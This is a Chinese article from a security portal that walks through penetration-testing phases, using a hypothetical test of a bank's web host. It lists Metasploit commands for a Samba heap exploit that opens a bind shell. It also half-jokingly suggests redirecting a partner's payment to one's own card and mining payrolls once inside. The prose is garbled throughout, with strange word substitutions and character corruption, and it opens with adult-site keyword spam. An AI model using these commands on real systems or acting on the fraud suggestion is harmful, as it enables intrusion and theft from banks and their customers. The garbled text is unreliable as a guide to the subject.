国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅 系統(tǒng)安全應(yīng)用安全 數(shù)據(jù)安全 云安全

Metasploit 滲入測試之旅

時間:2013-11-11 10:09來源:TuZhiJiaMi企業(yè)信息安全專家 點擊:
甚么是滲入測試 滲入測試沒有一個尺度的定義, 在安然界遍及的說法是: 滲入測試是一種經(jīng)由過程摹擬報復(fù)打擊者的手藝與編制, 挫敗方針系統(tǒng)的安然機制并獲得拜候節(jié)制權(quán)限的安然測試編制
Tags應(yīng)用安全(1006)Metasploit(3)測試平臺(1)  

  甚么是滲入測試

  滲入測試沒有一個尺度的定義, 在安然界遍及的說法是: 滲入測試是一種經(jīng)由過程摹擬報復(fù)打擊者的手藝與編制, 挫敗方針系統(tǒng)的安然機制并獲得拜候節(jié)制權(quán)限的安然測試編制.

  成功的滲入一個系統(tǒng)可以獲得系統(tǒng)的完全節(jié)制權(quán), 所以滲入手藝可謂一招致命.

  若何滲入一個系統(tǒng)

  既然滲入測試的威力這么強大年夜, 那若何滲入一個系統(tǒng)呢?

  起首, 我們需要體味一些滲入測試的根本:

  PTES(Penetration Testing Execution Strandard), 即滲入測試尺度; PTES將滲入測試劃分為七個階段:

  1. 前期交互階段: 與客戶會商并肯定滲入測試的范圍和方針

  2. 諜報匯集階段: 采納各類手段匯集被報復(fù)打擊者的有效信息.

  3. 威脅闡發(fā)階段: 經(jīng)由過程匯集的諜報信息, 標識方針系統(tǒng)可能存在的安然隱患.

  4. 縫隙闡發(fā)階段: 闡發(fā)縫隙的可行性和最可行的報復(fù)打擊編制.

  5. 滲入報復(fù)打擊階段: 對方針進行滲入.

  6. 后滲入報復(fù)打擊階段: 按照方針的不合, 矯捷的利用不合手藝. 讓方針系統(tǒng)闡揚更大年夜的價值.

  7. 陳述階段: 撰寫滲入陳述

  從上面我們可以看出真正利用滲入測試手藝的只占一小部門, 所以一個好的滲入測試工作者, 不但需要過硬的滲入手藝, 并且更首要的是從多方面發(fā)掘出被報復(fù)打擊者的價值信息.

  滲入測試的分類:

  白盒測試: 熟諳系統(tǒng)的架構(gòu)和收集環(huán)境, 并可以獲得內(nèi)部的拜候權(quán).

  黑盒測試: 對系統(tǒng)的架構(gòu)和收集環(huán)境全無所聞, 只知道被報復(fù)打擊的方針.

  其次, 我們需要良多輔助東西. 這里我們利用最強大年夜, 最風(fēng)行和最具有成長前景的開源測試平臺--Metasploit. 更多關(guān)于Metasploit介紹, 拜見Wiki.

  下面我們將利用Metasploit連絡(luò)PTES來完成我們的Metasploit滲入測試之旅.

  Step 1: 前期交互階段

  好比我此刻開了一個S安然公司, 此刻中國銀行請我們公司給它們的系統(tǒng)進行安然測試. 這里僅會商滲入測試.

  銀行和公司 前期交互成果:

  銀行不供給內(nèi)部信息, S進行黑盒測試.

  劃定某年某月某日可以進行測試, 其他時候不成以, 并且不成以影響銀行的正常營業(yè).

  劃定測試范圍為銀行的Web辦事主機.

  Step2: 諜報匯集階段

  S公司開端對銀行系統(tǒng)的主機進行諜報匯集. 諜報匯集的手藝有良多種, 包含社交媒體, Google Hacking, 系統(tǒng)踩點.

  常常利用的諜報匯集手段:

  Whois查詢

  Netcraft

  NSLookuup

  Nmap端口掃描

  縫隙掃描

  社會工程學(xué)

  匯集成果:

  銀行員工微博: 持續(xù)工作了8個小時, 終究完成Apache Tomcat的進級. --> 由此我們推出銀行系統(tǒng)的Web辦事器利用Apache Tomcat. 有次我們可以確認該銀行Web辦事器利用J2EE架構(gòu).

  Nefcraft.com --> 獲得系統(tǒng)運行的狀況. 系統(tǒng)類型(CentOS), IP地址 DNS解析等.

  Nmap --> 探測系統(tǒng)防御系統(tǒng), 端口過濾等收集建設(shè).

  Step3: 威脅建模階段

  經(jīng)由過程前面的匯集工作, 找到以下的安然隱患;

  CentOS系統(tǒng)版本比較老, 已存在發(fā)現(xiàn)的縫隙

  防火墻建設(shè)不當.

  手藝安然人員貧乏某些安然意識.

  Step4: 縫隙闡發(fā)階段

  我們發(fā)現(xiàn)方針系統(tǒng)開啟了samba辦事,并且可以由外部拜候. 我們覺得經(jīng)由過程CentOS進行報復(fù)打擊可以快速并且獲得最大年夜的節(jié)制權(quán)限.

  Step5: 滲入報復(fù)打擊階段

  這里就該Metasploit出手了. 打開Metasploit的MSF終端.

  Search samba

  use exploit/linux/samba/lsa_trasnames_heap

  show payloads

  set payload linux/x86/shell_bind_tcp

  set LPORT 8080

  set RHOST x.x.x.x

  exploit

  這里假定此系統(tǒng)存在此縫隙, 可以成功滲入方針.

  Step6: 后滲入報復(fù)打擊階段

  我們獲得了銀行的Web系統(tǒng)的節(jié)制權(quán). 后滲入階段就是充分闡揚被報復(fù)打擊的有效價值.

  我們發(fā)現(xiàn)一份銀行和其合作火伴的一份聲明, 讓你合作火伴將款打進某個銀行卡, 你有膽的話便可以將這個銀行卡改成你的了.

  再好比發(fā)現(xiàn)銀行的工資單. 和某些贓官的存款等等..

  這就是一個金山, 就看你能發(fā)掘出多少了, 適可而止

  Step7: 陳述階段

  當然我是一個公司, 我收取了人家銀行的錢為人家工作. 所以咱仍是別干任何壞事. 所以我就需要將我們的成功清算成文檔, 供給給銀行并協(xié)助 銀行修補這些標題問題. 一面看了這篇文章的人一時胡涂犯下大年夜錯.

  本文側(cè)重滲入測試的一個規(guī)范化過程, 其實不是側(cè)重講Metasploit, 有關(guān)Metasploit的利用. 我會抽時候?qū)懸黄P(guān)于Metasploit的利用教程. 假定你??丛跐B入測試方面有所建樹, 那你就要支出比他人跟多的盡力.

------分隔線----------------------------

推薦內(nèi)容